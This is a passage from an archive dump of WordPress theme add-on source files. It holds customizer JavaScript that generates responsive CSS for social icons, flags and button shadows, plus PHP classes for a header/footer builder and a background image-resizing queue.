'margin-bottom: ' + space + 'px;'; dynamicStyle += 'margin-left: unset;'; dynamicStyle += 'margin-right: unset;'; dynamicStyle += '} '; dynamicStyle += '} '; } if ( 'mobile' === stack_on ) { space = spacing.mobile/2; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + ' .ast-social-stack-mobile .ast-builder-social-element {'; dynamicStyle += 'display: flex;'; dynamicStyle += 'margin-top: ' + space + 'px;'; dynamicStyle += 'margin-bottom: ' + space + 'px;'; dynamicStyle += 'margin-left: unset;'; dynamicStyle += 'margin-right: unset;'; dynamicStyle += '} '; dynamicStyle += '} '; } astra_add_dynamic_css( builder_type + '-social-icons-' + index + '-icon-space', dynamicStyle ); } /** * Social Component CSS. * * @param string builder_type Builder Type. * @param string social_count HTML Count. * @since x.x.x */ function astra_builder_addon_social_css( builder_type = 'header', social_count ) { for ( var index = 1; index <= social_count; index++ ) { ( function ( index ) { // Margin. wp.customize( 'astra-settings[' + builder_type + '-social-' + index + '-stack]', function( value ) { value.bind( function( value ) { jQuery('.ast-' + builder_type + '-social-' + index + '-wrap .' + builder_type + '-social-inner-wrap').removeClass( 'ast-social-stack-tablet' ); jQuery('.ast-' + builder_type + '-social-' + index + '-wrap .' + builder_type + '-social-inner-wrap').removeClass( 'ast-social-stack-mobile' ); jQuery('.ast-' + builder_type + '-social-' + index + '-wrap .' + builder_type + '-social-inner-wrap').removeClass( 'ast-social-stack-desktop' ); jQuery('.ast-' + builder_type + '-social-' + index + '-wrap .' + builder_type + '-social-inner-wrap').removeClass( 'ast-social-stack-none' ); jQuery('.ast-' + builder_type + '-social-' + index + '-wrap .' + builder_type + '-social-inner-wrap').addClass( 'ast-social-stack-' + value ); let spacing = wp.customize( 'astra-settings[' + builder_type + '-social-' + index + '-space]' ).get(); astra_generate_spacing_preview_social_css( index, builder_type, value, spacing ); } ); } ); // Icon Space. wp.customize( 'astra-settings[' + builder_type + '-social-' + index + '-space]', function( value ) { value.bind( function( spacing ) { let stack_on = wp.customize( 'astra-settings[' + builder_type + '-social-' + index + '-stack]' ).get(); astra_generate_spacing_preview_social_css( index, builder_type, stack_on, spacing ); } ); } ); })( index ); } } /** * language Switcher Component CSS. * * @param string builder_type Builder Type. * @param string lswitcher_count HTML Count. * @since x.x.x * */ function astra_builder_language_switcher_css( builder_type = 'header' ) { var tablet_break_point = astraBuilderPreview.tablet_break_point || 768, mobile_break_point = astraBuilderPreview.mobile_break_point || 544; let selector = ( 'header' === builder_type ) ? '.ast-header-language-switcher' : '.ast-footer-language-switcher-element[data-section="section-fb-language-switcher"]'; let section = ( 'header' === builder_type ) ? 'section-hb-language-switcher' : 'section-fb-language-switcher'; // Advanced Visibility CSS Generation. astra_builder_visibility_css( section, selector ); // Flag spacing. wp.customize( 'astra-settings[' + section + '-flag-spacing]', function( value ) { value.bind( function( size ) { var dynamicStyle = ''; if( size.desktop != '' || size.desktop != '' || size.desktop != '' || size.desktop != '' || size.tablet != '' || size.tablet != '' || size.tablet != '' || size.tablet != '' || size.mobile != '' || size.mobile != '' || size.mobile != '' || size.mobile != '' ) { dynamicStyle += 'span.ast-lswitcher-item-' + builder_type + ' {'; dynamicStyle += 'margin-right: ' + size.desktop + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += 'span.ast-lswitcher-item-' + builder_type + ' {'; dynamicStyle += 'margin-right: ' + size.tablet + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += 'span.ast-lswitcher-item-' + builder_type + ' {'; dynamicStyle += 'margin-right: ' + size.mobile + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; } astra_add_dynamic_css( section + '-flag-spacing', dynamicStyle ); } ); } ); // Flag Thickness. wp.customize( 'astra-settings[' + section + '-flag-size]', function( value ) { value.bind( function( size ) { var dynamicStyle = ''; if( size.desktop !== '' || size.tablet !== '' || size.mobile !== '' ) { dynamicStyle += '.ast-lswitcher-item-' + builder_type + ' img {'; dynamicStyle += 'width: ' + size.desktop + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '.ast-lswitcher-item-' + builder_type + ' svg {'; dynamicStyle += 'height: ' + size.desktop + 'px' + ';'; dynamicStyle += 'width: ' + size.desktop + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += '.ast-lswitcher-item-' + builder_type + ' img {'; dynamicStyle += 'width: ' + size.tablet + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '.ast-lswitcher-item-' + builder_type + ' svg {'; dynamicStyle += 'height: ' + size.tablet + 'px' + ';'; dynamicStyle += 'width: ' + size.tablet + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += '.ast-lswitcher-item-' + builder_type + ' img {'; dynamicStyle += 'width: ' + size.mobile + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '.ast-lswitcher-item-' + builder_type + ' svg {'; dynamicStyle += 'height: ' + size.mobile + 'px' + ';'; dynamicStyle += 'width: ' + size.mobile + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; } astra_add_dynamic_css( section + '-flag-size', dynamicStyle ); } ); } ); } /** * Box Shadow CSS. * * @param string prefix Controls prefix. * @param string selector Builder selector. * */ function astra_addon_box_shadow_css( prefix, selector ) { wp.customize( 'astra-settings[' + prefix + '-box-shadow-control]', function( value ) { value.bind( function( shadow ) { var dynamicStyle = ''; if( shadow.x != '' && shadow.y != '' && shadow.blur != '' && shadow.spread != '' ) { var position = wp.customize( 'astra-settings[' + prefix + '-box-shadow-position]' ).get(); var color = wp.customize( 'astra-settings[' + prefix + '-box-shadow-color]' ).get(); dynamicStyle = astra_addon_get_box_shadow_css( selector, shadow, position, color ); } astra_add_dynamic_css( prefix + '-box-shadow-control', dynamicStyle ); } ); } ); /** * Box Shadow Color. */ wp.customize( 'astra-settings[' + prefix + '-box-shadow-color]', function( value ) { value.bind( function( color ) { var dynamicStyle = ''; if( '' != color ) { var shadow = wp.customize( 'astra-settings[' + prefix + '-box-shadow-control]' ).get(); var position = wp.customize( 'astra-settings[' + prefix + '-box-shadow-position]' ).get(); dynamicStyle = astra_addon_get_box_shadow_css( selector, shadow, position, color ); } astra_add_dynamic_css( prefix + '-box-shadow-control', dynamicStyle ); } ); } ); /** * Box Shadow Position. */ wp.customize( 'astra-settings[' + prefix + '-box-shadow-position]', function( value ) { value.bind( function( position ) { var dynamicStyle = ''; if( '' != position ) { var shadow = wp.customize( 'astra-settings[' + prefix + '-box-shadow-control]' ).get(); var color = wp.customize( 'astra-settings[' + prefix + '-box-shadow-color]' ).get(); dynamicStyle = astra_addon_get_box_shadow_css( selector, shadow, position, color ); } astra_add_dynamic_css( prefix + '-box-shadow-control', dynamicStyle ); } ); } ); } /** * Button Component CSS. * * @param string builder_type Builder Type. * @param string button_count Button Count. * */ function astra_addon_button_css( builder_type = 'header', button_count ) { for ( var index = 1; index <= button_count; index++ ) { (function (index) { var selector = '.ast-' + builder_type + '-button-' + index + ' .ast-builder-button-wrap .ast-custom-button'; // Box Shadow CSS Generation. astra_addon_box_shadow_css( builder_type + '-button' + index, selector ); astra_font_extras_css( builder_type + '-button' + index + '-font-extras', selector ); })(index); } } /** * Button Component CSS. * * @param string builder_type Builder Type. * @param string button_count Button Count. * */ function astra_addon_get_box_shadow_css( selector, shadow, position, color ) { var dynamicStyle = ''; if( shadow.x != '' && shadow.y != '' && shadow.blur != '' && shadow.spread != '' ) { var box_shadow_color = ( '' !== color ) ? color + ' ' : 'rgba(0,0,0,0.5) '; var shadow_position = ( 'undefined' != typeof position && 'inset' == position ) ? 'inset' : ''; var x_val = ( '' !== shadow.x ) ? ( shadow.x + 'px ' ) : '0px '; var y_val = ( '' !== shadow.y ) ? ( shadow.y + 'px ' ) : '0px '; var blur_val = ( '' !== shadow.blur ) ? ( shadow.blur + 'px ' ) : '0px '; var spread_val = ( '' !== shadow.spread ) ? ( shadow.spread + 'px ' ) : '0px '; dynamicStyle = selector + ' {'; dynamicStyle += 'box-shadow:' + x_val + y_val + blur_val + spread_val + box_shadow_color + shadow_position + ';'; dynamicStyle += '}'; } return dynamicStyle; } builder/class-astra-addon-builder-helper.php 0000666 00000021123 15165730731 0015117 0 ustar 00 <?php /** * Astra Addon Builder Helper. * * @since 3.0.0 * @package astra-builder */ /** * Class Astra_Addon_Builder_Helper. * * @since 3.0.0 */ final class Astra_Addon_Builder_Helper { /** * Member Variable * * @since 3.0.0 * @var instance */ private static $instance = null; /** * Cached Helper Variable. * * @since 3.0.0 * @var instance */ private static $cached_properties = null; /** * No. Of. Component count array. * * @var int */ public static $component_count_array = array(); /** * No. Of. Component Limit. * * @var int */ public static $component_limit = 10; /** * No. Of. Header Dividers. * * @since 3.0.0 * @var int */ public static $num_of_header_divider; /** * No. Of. Footer Dividers. * * @since 3.0.0 * @var int */ public static $num_of_footer_divider; /** * Initiator * * @since 3.0.0 */ public static function get_instance() { if ( is_null( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor * * @since 3.0.0 */ public function __construct() { add_filter( 'astra_builder_elements_count', __CLASS__ . '::elements_count', 10 ); $component_count_by_key = self::elements_count(); self::$num_of_header_divider = $component_count_by_key['header-divider']; self::$num_of_footer_divider = $component_count_by_key['footer-divider']; } /** * Update the count of elements in HF Builder. * * @param array $elements array of elements having key as slug and value as count. * @return array $elements */ public static function elements_count( $elements = array() ) { $db_elements = get_option( 'astra-settings' ); $db_elements = isset( $db_elements['cloned-component-track'] ) ? $db_elements['cloned-component-track'] : array(); if ( ! empty( $db_elements ) ) { return $db_elements; } $elements['header-button'] = 2; $elements['footer-button'] = 2; $elements['header-html'] = 3; $elements['footer-html'] = 2; $elements['header-menu'] = 3; $elements['header-widget'] = 4; $elements['footer-widget'] = 6; $elements['header-social-icons'] = 1; $elements['footer-social-icons'] = 1; $elements['header-divider'] = 3; $elements['footer-divider'] = 3; $elements['removed-items'] = array(); return $elements; } /** * Callback of external properties. * * @param string $property_name property name. * @return false */ public function __get( $property_name ) { if ( isset( self::$cached_properties[ $property_name ] ) ) { return self::$cached_properties[ $property_name ]; } if ( property_exists( 'Astra_Addon_Builder_Helper', $property_name ) ) { // Directly override theme helper properties. $return_value = self::astra_addon_get_addon_helper_static( $property_name ); } else { $return_value = property_exists( 'Astra_Builder_Helper', $property_name ) ? self::astra_addon_get_theme_helper_static( $property_name ) : false; } self::$cached_properties[ $property_name ] = $return_value; return $return_value; } /** * Callback to get theme's static property. * * @param string $prop_name function name. * @return mixed */ public static function astra_addon_get_theme_helper_static( $prop_name ) { $theme_static_sets = array( 'general_tab' => Astra_Builder_Helper::$general_tab, 'general_tab_config' => Astra_Builder_Helper::$general_tab_config, 'design_tab' => Astra_Builder_Helper::$design_tab, 'design_tab_config' => Astra_Builder_Helper::$design_tab_config, 'tablet_device' => Astra_Builder_Helper::$tablet_device, 'mobile_device' => Astra_Builder_Helper::$mobile_device, 'responsive_devices' => Astra_Builder_Helper::$responsive_devices, 'responsive_general_tab' => Astra_Builder_Helper::$responsive_general_tab, 'desktop_general_tab' => Astra_Builder_Helper::$desktop_general_tab, 'default_responsive_spacing' => Astra_Builder_Helper::$default_responsive_spacing, 'default_button_responsive_spacing' => isset( Astra_Builder_Helper::$default_button_responsive_spacing ) ? Astra_Builder_Helper::$default_button_responsive_spacing : Astra_Builder_Helper::$default_responsive_spacing, 'tablet_general_tab' => Astra_Builder_Helper::$tablet_general_tab, 'mobile_general_tab' => Astra_Builder_Helper::$mobile_general_tab, 'component_limit' => Astra_Builder_Helper::$component_limit, 'component_count_array' => Astra_Builder_Helper::$component_count_array, 'num_of_footer_widgets' => Astra_Builder_Helper::$num_of_footer_widgets, 'num_of_footer_html' => Astra_Builder_Helper::$num_of_footer_html, 'num_of_header_widgets' => Astra_Builder_Helper::$num_of_header_widgets, 'num_of_header_menu' => Astra_Builder_Helper::$num_of_header_menu, 'num_of_header_button' => Astra_Builder_Helper::$num_of_header_button, 'num_of_footer_button' => Astra_Builder_Helper::$num_of_footer_button, 'num_of_header_html' => Astra_Builder_Helper::$num_of_header_html, 'num_of_footer_columns' => Astra_Builder_Helper::$num_of_footer_columns, 'num_of_header_social_icons' => Astra_Builder_Helper::$num_of_header_social_icons, 'num_of_footer_social_icons' => Astra_Builder_Helper::$num_of_footer_social_icons, 'num_of_header_divider' => Astra_Builder_Helper::$num_of_header_divider, 'num_of_footer_divider' => Astra_Builder_Helper::$num_of_footer_divider, 'is_header_footer_builder_active' => Astra_Builder_Helper::$is_header_footer_builder_active, 'footer_row_layouts' => Astra_Builder_Helper::$footer_row_layouts, 'header_desktop_items' => Astra_Builder_Helper::$header_desktop_items, 'footer_desktop_items' => Astra_Builder_Helper::$footer_desktop_items, 'header_mobile_items' => Astra_Builder_Helper::$header_mobile_items, 'loaded_grid' => Astra_Builder_Helper::$loaded_grid, 'grid_size_mapping' => Astra_Builder_Helper::$grid_size_mapping, ); return isset( $theme_static_sets[ $prop_name ] ) ? $theme_static_sets[ $prop_name ] : $prop_name; } /** * Callback to get addon's static property. * * @param string $prop_name function name. * @return mixed */ public static function astra_addon_get_addon_helper_static( $prop_name ) { $addon_static_sets = array( 'component_count_array' => self::$component_count_array, 'component_limit' => self::$component_limit, 'num_of_header_divider' => self::$num_of_header_divider, 'num_of_footer_divider' => self::$num_of_footer_divider, ); return isset( $addon_static_sets[ $prop_name ] ) ? $addon_static_sets[ $prop_name ] : $prop_name; } /** * Callback exception for static methods. * * @param string $function_name function name. * @param array $function_agrs function arguments. * @return false|mixed */ public static function __callStatic( $function_name, $function_agrs ) { $key = md5( $function_name ) . md5( maybe_serialize( $function_agrs ) ); if ( isset( self::$cached_properties[ $key ] ) ) { return self::$cached_properties[ $key ]; } if ( method_exists( 'Astra_Addon_Builder_Helper', $function_name ) ) { // Check if self method exists. $class_name = 'Astra_Addon_Builder_Helper'; } elseif ( method_exists( 'Astra_Builder_Helper', $function_name ) ) { // if self method doesnot exists then check for theme helper. $class_name = 'Astra_Builder_Helper'; } else { // If not found anything then return false directly. return false; } $return_value = call_user_func_array( array( $class_name, $function_name ), $function_agrs ); self::$cached_properties[ $key ] = $return_value; return $return_value; } } /** * Prepare if class 'Astra_Addon_Builder_Helper' exist. * Kicking this off by calling 'get_instance()' method */ Astra_Addon_Builder_Helper::get_instance(); /** * Get instance to call properties and methods. * * @return Astra_Addon_Builder_Helper|instance|null */ function astra_addon_builder_helper() { return Astra_Addon_Builder_Helper::get_instance(); } builder/class-astra-addon-builder-customizer.php 0000666 00000021253 15165730731 0016050 0 ustar 00 <?php /** * Astra Addon Builder Controller. * * @package astra-builder * @since 3.0.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class Astra_Addon_Builder_Customizer. * * Customizer Configuration for Header Footer Builder. * * @since 3.0.0 */ final class Astra_Addon_Builder_Customizer { /** * Constructor * * @since 3.0.0 */ public function __construct() { add_action( 'customize_preview_init', array( $this, 'enqueue_customizer_preview_scripts' ) ); if ( false === astra_addon_builder_helper()->is_header_footer_builder_active ) { return; } add_action( 'astra_addon_get_css_files', array( $this, 'add_styles' ) ); $this->load_base_components(); add_action( 'customize_register', array( $this, 'header_configs' ), 5 ); add_action( 'customize_register', array( $this, 'footer_configs' ), 5 ); add_filter( 'astra_flags_svgs', array( $this, 'astra_addon_flag_svgs' ), 1, 10 ); } /** * Register Base Components for Builder. */ public function load_base_components() { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound // Base Config Files. require_once ASTRA_EXT_DIR . 'classes/builder/type/base/configurations/class-astra-addon-base-configs.php'; require_once ASTRA_EXT_DIR . 'classes/builder/type/base/configurations/class-astra-divider-component-configs.php'; require_once ASTRA_EXT_DIR . 'classes/builder/type/base/configurations/class-astra-addon-button-component-configs.php'; require_once ASTRA_EXT_DIR . 'classes/builder/type/base/configurations/class-astra-social-component-configs.php'; require_once ASTRA_EXT_DIR . 'classes/builder/type/base/configurations/class-astra-language-switcher-component-configs.php'; // Base Dynamic CSS Files. require_once ASTRA_EXT_DIR . 'classes/builder/type/base/dynamic-css/divider/class-astra-divider-component-dynamic-css.php'; require_once ASTRA_EXT_DIR . 'classes/builder/type/base/dynamic-css/language-switcher/class-astra-language-switcher-component-dynamic-css.php'; require_once ASTRA_EXT_DIR . 'classes/builder/type/base/dynamic-css/social-icon/class-astra-social-icon-component-dynamic-css.php'; require_once ASTRA_EXT_DIR . 'classes/builder/type/base/dynamic-css/button/class-astra-addon-button-component-dynamic-css.php'; $this->load_header_components(); $this->load_footer_components(); // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } /** * Register controls for Header Builder. * * @param WP_Customize_Manager $wp_customize Theme Customizer object. * @since 3.0.0 */ public function header_configs( $wp_customize ) { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound $header_config_path = ASTRA_EXT_DIR . 'classes/builder/type/header'; require_once $header_config_path . '/divider/class-astra-header-divider-component-configs.php'; require_once $header_config_path . '/account/class-astra-ext-header-account-component-configs.php'; require_once $header_config_path . '/menu/class-astra-addon-header-menu-component-configs.php'; require_once $header_config_path . '/button/class-astra-addon-header-button-component-configs.php'; require_once $header_config_path . '/social-icon/class-astra-header-social-component-configs.php'; require_once $header_config_path . '/language-switcher/class-astra-header-language-switcher-configs.php'; require_once $header_config_path . '/off-canvas/class-astra-addon-offcanvas-configs.php'; // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } /** * Register controls for Footer Builder. * * @param WP_Customize_Manager $wp_customize Theme Customizer object. * @since 3.0.0 */ public function footer_configs( $wp_customize ) { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound $footer_config_path = ASTRA_EXT_DIR . 'classes/builder/type/footer'; require_once $footer_config_path . '/divider/class-astra-footer-divider-component-configs.php'; require_once $footer_config_path . '/button/class-astra-ext-footer-button-component-configs.php'; require_once $footer_config_path . '/social-icon/class-astra-footer-social-component-configs.php'; require_once $footer_config_path . '/language-switcher/class-astra-footer-language-switcher-configs.php'; // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } /** * Register Components for Header Builder. * * @since 3.0.0 */ public function load_header_components() { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound $header_components_path = ASTRA_EXT_DIR . 'classes/builder/type/header'; if ( ! class_exists( 'Astra_Header_Divider_Component' ) ) { require_once $header_components_path . '/divider/class-astra-header-divider-component.php'; } require_once $header_components_path . '/button/class-astra-addon-header-button-component.php'; require_once $header_components_path . '/account/class-astra-ext-header-account-component.php'; require_once $header_components_path . '/menu/class-astra-addon-header-menu-component.php'; require_once $header_components_path . '/social-icon/class-astra-header-social-component.php'; require_once $header_components_path . '/language-switcher/class-astra-header-language-switcher-component.php'; require_once $header_components_path . '/off-canvas/class-astra-addon-offcanvas-component.php'; // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } /** * Register Components for Footer Builder. * * @since 3.0.0 */ public function load_footer_components() { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound $footer_components_path = ASTRA_EXT_DIR . 'classes/builder/type/footer'; if ( ! class_exists( 'Astra_Footer_Divider_Component' ) ) { require_once $footer_components_path . '/divider/class-astra-footer-divider-component.php'; } require_once $footer_components_path . '/button/class-astra-ext-footer-button-component.php'; require_once $footer_components_path . '/social-icon/class-astra-footer-social-component.php'; require_once $footer_components_path . '/language-switcher/class-astra-footer-language-switcher-component.php'; // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } /** * Add Customizer preview script. * * @since 3.0.0 */ public function enqueue_customizer_preview_scripts() { // Base Dynamic CSS. wp_enqueue_script( 'ahfb-addon-base-customizer-preview', ASTRA_EXT_URI . 'classes/builder/type/base/assets/js/customizer-preview.js', array( 'customize-preview' ), ASTRA_EXT_VER, true ); // Localize variables for Astra Breakpoints JS. wp_localize_script( 'ahfb-addon-base-customizer-preview', 'astraBuilderPreview', array( 'tablet_break_point' => astra_addon_get_tablet_breakpoint(), 'mobile_break_point' => astra_addon_get_mobile_breakpoint(), ) ); } /** * Add Styles Callback * * @since 3.1.0 */ public function add_styles() { /*** Start Path Logic */ /* Define Variables */ $uri = ASTRA_EXT_URI . 'classes/builder/assets/css/'; $path = ASTRA_EXT_DIR . 'classes/builder/assets/css/'; $rtl = ''; if ( is_rtl() ) { $rtl = '-rtl'; } /* Directory and Extension */ $file_prefix = $rtl . '.min'; $dir_name = 'minified'; if ( SCRIPT_DEBUG ) { $file_prefix = $rtl; $dir_name = 'unminified'; } $css_uri = $uri . $dir_name . '/'; $css_dir = $path . $dir_name . '/'; if ( defined( 'ASTRA_THEME_HTTP2' ) && ASTRA_THEME_HTTP2 ) { $gen_path = $css_uri; } else { $gen_path = $css_dir; } /*** End Path Logic */ /* Add style.css */ Astra_Minify::add_css( $gen_path . 'style' . $file_prefix . '.css' ); } /** * Load Flags SVG Icon array from the JSON file. * * @param Array $svg_arr Array of svg icons. * @since 3.1.0 * @return Array addon svg icons. */ public function astra_addon_flag_svgs( $svg_arr = array() ) { ob_start(); // Include SVGs Json file. include_once ASTRA_EXT_DIR . 'assets/flags/svgs.json'; $svg_icon_arr = json_decode( ob_get_clean(), true ); $ast_flag_svgs = array_merge( $svg_arr, $svg_icon_arr ); return $ast_flag_svgs; } } /** * Prepare if class 'Astra_Addon_Builder_Customizer' exist. * Kicking this off by creating new object of the class. */ new Astra_Addon_Builder_Customizer(); builder/markup/class-astra-addon-builder-footer.php 0000666 00000004056 15165730731 0016443 0 ustar 00 <?php /** * Astra Builder Loader. * * @package astra-builder */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Astra_Addon_Builder_Footer' ) ) { /** * Class Astra_Addon_Builder_Footer. */ final class Astra_Addon_Builder_Footer { /** * Member Variable * * @var instance */ private static $instance = null; /** * Dynamic Methods. * * @var dynamic methods */ private static $methods = array(); /** * Initiator */ public static function get_instance() { if ( is_null( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { $component_limit = astra_addon_builder_helper()->component_limit; for ( $index = 1; $index <= $component_limit; $index++ ) { add_action( 'astra_footer_divider_' . $index, array( $this, 'footer_divider_' . $index ) ); self::$methods[] = 'footer_divider_' . $index; } add_action( 'astra_footer_language_switcher', array( $this, 'footer_language_switcher' ) ); } /** * Callback when method not exists. * * @param string $func function name. * @param array $params function parameters. */ public function __call( $func, $params ) { if ( in_array( $func, self::$methods, true ) ) { if ( 0 === strpos( $func, 'footer_divider_' ) ) { $index = (int) substr( $func, strrpos( $func, '_' ) + 1 ); if ( $index ) { Astra_Addon_Builder_UI_Controller::render_divider_markup( str_replace( '_', '-', $func ) ); } } } } /** * Render language switcher. */ public function footer_language_switcher() { Astra_Addon_Builder_UI_Controller::render_language_switcher_markup( 'footer-language-switcher', 'footer' ); } } /** * Prepare if class 'Astra_Addon_Builder_Footer' exist. * Kicking this off by calling 'get_instance()' method */ Astra_Addon_Builder_Footer::get_instance(); } builder/markup/class-astra-addon-builder-header.php 0000666 00000005203 15165730731 0016370 0 ustar 00 <?php /** * Astra Addon Builder Loader. * * @package astra-builder */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Astra_Addon_Builder_Header' ) ) { /** * Class Astra_Addon_Builder_Header. */ final class Astra_Addon_Builder_Header { /** * Member Variable * * @var instance */ private static $instance = null; /** * Dynamic Methods. * * @var dynamic methods */ private static $methods = array(); /** * Initiator */ public static function get_instance() { if ( is_null( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { if ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) { $component_limit = astra_addon_builder_helper()->component_limit; for ( $index = 1; $index <= $component_limit; $index++ ) { add_action( 'astra_header_divider_' . $index, array( $this, 'header_divider_' . $index ) ); self::$methods[] = 'header_divider_' . $index; } add_action( 'astra_header_language_switcher', array( $this, 'header_language_switcher' ) ); add_action( 'astra_desktop_header_content', array( $this, 'render_desktop_column' ), 10, 2 ); add_action( 'astra_render_desktop_popup', array( $this, 'render_desktop_column' ), 10, 2 ); } } /** * Callback when method not exists. * * @param string $func function name. * @param array $params function parameters. */ public function __call( $func, $params ) { if ( in_array( $func, self::$methods, true ) ) { if ( 0 === strpos( $func, 'header_divider_' ) ) { $index = (int) substr( $func, strrpos( $func, '_' ) + 1 ); if ( $index ) { Astra_Addon_Builder_UI_Controller::render_divider_markup( str_replace( '_', '-', $func ) ); } } } } /** * Render language switcher. */ public function header_language_switcher() { Astra_Addon_Builder_UI_Controller::render_language_switcher_markup( 'header-language-switcher', 'header' ); } /** * Call desktop component header UI. * * @since 3.3.0 * @param string $row row. * @param string $column column. */ public function render_desktop_column( $row, $column ) { Astra_Builder_Helper::render_builder_markup( $row, $column, 'desktop', 'header' ); } } /** * Prepare if class 'Astra_Addon_Builder_Header' exist. * Kicking this off by calling 'get_instance()' method */ Astra_Addon_Builder_Header::get_instance(); } library/image-processing-queue/image-processing-queue.php 0000666 00000001354 15165730731 0017674 0 ustar 00 <?php /* * Copyright (c) 2020 Delicious Brains. All rights reserved. * * Released under the GPL license * https://www.opensource.org/licenses/gpl-license.php */ defined( 'WPINC' ) || die; require_once ASTRA_EXT_DIR . 'classes/library/batch-processing/wp-async-request.php'; require_once ASTRA_EXT_DIR . 'classes/library/batch-processing/wp-background-process.php'; require_once ASTRA_EXT_DIR . 'classes/library/image-processing-queue/includes/class-ipq-process.php'; require_once ASTRA_EXT_DIR . 'classes/library/image-processing-queue/includes/class-image-processing-queue.php'; require_once ASTRA_EXT_DIR . 'classes/library/image-processing-queue/includes/ipq-template-functions.php'; Image_Processing_Queue::instance(); library/image-processing-queue/includes/class-ipq-process.php 0000666 00000005161 15165730731 0020474 0 ustar 00 <?php /** * Background Process for Image Processing Queue * * @package Image-Processing-Queue */ if ( ! class_exists( 'IPQ_Process' ) ) { /** * Custom exception class for IPQ background processing */ class IPQ_Process_Exception extends Exception {} /** * Extends the background processing library and implements image processing routines */ class IPQ_Process extends WP_Background_Process { /** * Action * * @var string */ protected $action = 'image_processing_queue'; /** * Background task to resizes images * * @param mixed $item Image data. * @return bool * @throws IPQ_Process_Exception On error. */ protected function task( $item ) { $defaults = array( 'post_id' => 0, 'width' => 0, 'height' => 0, 'crop' => false, ); $item = wp_parse_args( $item, $defaults ); $post_id = $item['post_id']; $width = $item['width']; $height = $item['height']; $crop = $item['crop']; if ( ! $width && ! $height ) { throw new IPQ_Process_Exception( "Invalid dimensions '{$width}x{$height}'" ); } if ( Image_Processing_Queue::does_size_already_exist_for_image( $post_id, array( $width, $height, $crop ) ) ) { return false; } $image_meta = Image_Processing_Queue::get_image_meta( $post_id ); if ( ! $image_meta ) { return false; } add_filter( 'as3cf_get_attached_file_copy_back_to_local', '__return_true' ); $img_path = Image_Processing_Queue::get_image_path( $post_id ); if ( ! $img_path ) { return false; } $editor = wp_get_image_editor( $img_path ); if ( is_wp_error( $editor ) ) { throw new IPQ_Process_Exception( 'Unable to get WP_Image_Editor for file "' . $img_path . '": ' . $editor->get_error_message() . ' (is GD or ImageMagick installed?)' ); } if ( is_wp_error( $editor->resize( $width, $height, $crop ) ) ) { throw new IPQ_Process_Exception( 'Error resizing image: ' . $editor->get_error_message() ); } $resized_file = $editor->save(); if ( is_wp_error( $resized_file ) ) { throw new IPQ_Process_Exception( 'Unable to save resized image file: ' . $editor->get_error_message() ); } $size_name = Image_Processing_Queue::get_size_name( array( $width, $height, $crop ) ); $image_meta['sizes'][ $size_name ] = array( 'file' => $resized_file['file'], 'width' => $resized_file['width'], 'height' => $resized_file['height'], 'mime-type' => $resized_file['mime-type'], ); wp_update_attachment_metadata( $post_id, $image_meta ); return false; } } } library/image-processing-queue/includes/class-image-processing-queue.php 0000666 00000016524 15165730731 0022612 0 ustar 00 <?php /** * Image Processing Queue * * @package Image-Processing-Queue */ if ( ! class_exists( 'Image_Processing_Queue' ) ) { /** * Image Processing Queue */ class Image_Processing_Queue { /** * Singleton * * @var Image_Processing_Queue|null */ protected static $instance = null; /** * Whether or not we're updating the backup sizes * * @var bool */ private $is_updating_backup_sizes = false; /** * Instance of the background process class * * @var IPQ_Process|null */ public $process = null; /** * Singleton * * @return Image_Processing_Queue|null */ public static function instance() { if ( is_null( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Image_Processing_Queue constructor. */ public function __construct() { $this->process = new IPQ_Process(); add_filter( 'update_post_metadata', array( $this, 'filter_update_post_metadata' ), 10, 5 ); } /** * Filter the post meta data for backup sizes * * Unfortunately WordPress core is lacking hooks in its image resizing functions so we are reduced * to this hackery to detect when images are resized and previous versions are relegated to backup sizes. * * @param bool $check * @param int $object_id * @param string $meta_key * @param mixed $meta_value * @param mixed $prev_value * @return bool */ public function filter_update_post_metadata( $check, $object_id, $meta_key, $meta_value, $prev_value ) { if ( '_wp_attachment_backup_sizes' !== $meta_key ) { return $check; } $current_value = get_post_meta( $object_id, $meta_key, true ); if ( ! $current_value ) { $current_value = array(); } $diff = array_diff_key( $meta_value, $current_value ); if ( ! $diff ) { return $check; } $key = key( $diff ); $suffix = substr( $key, strrpos( $key, '-' ) + 1 ); $image_meta = self::get_image_meta( 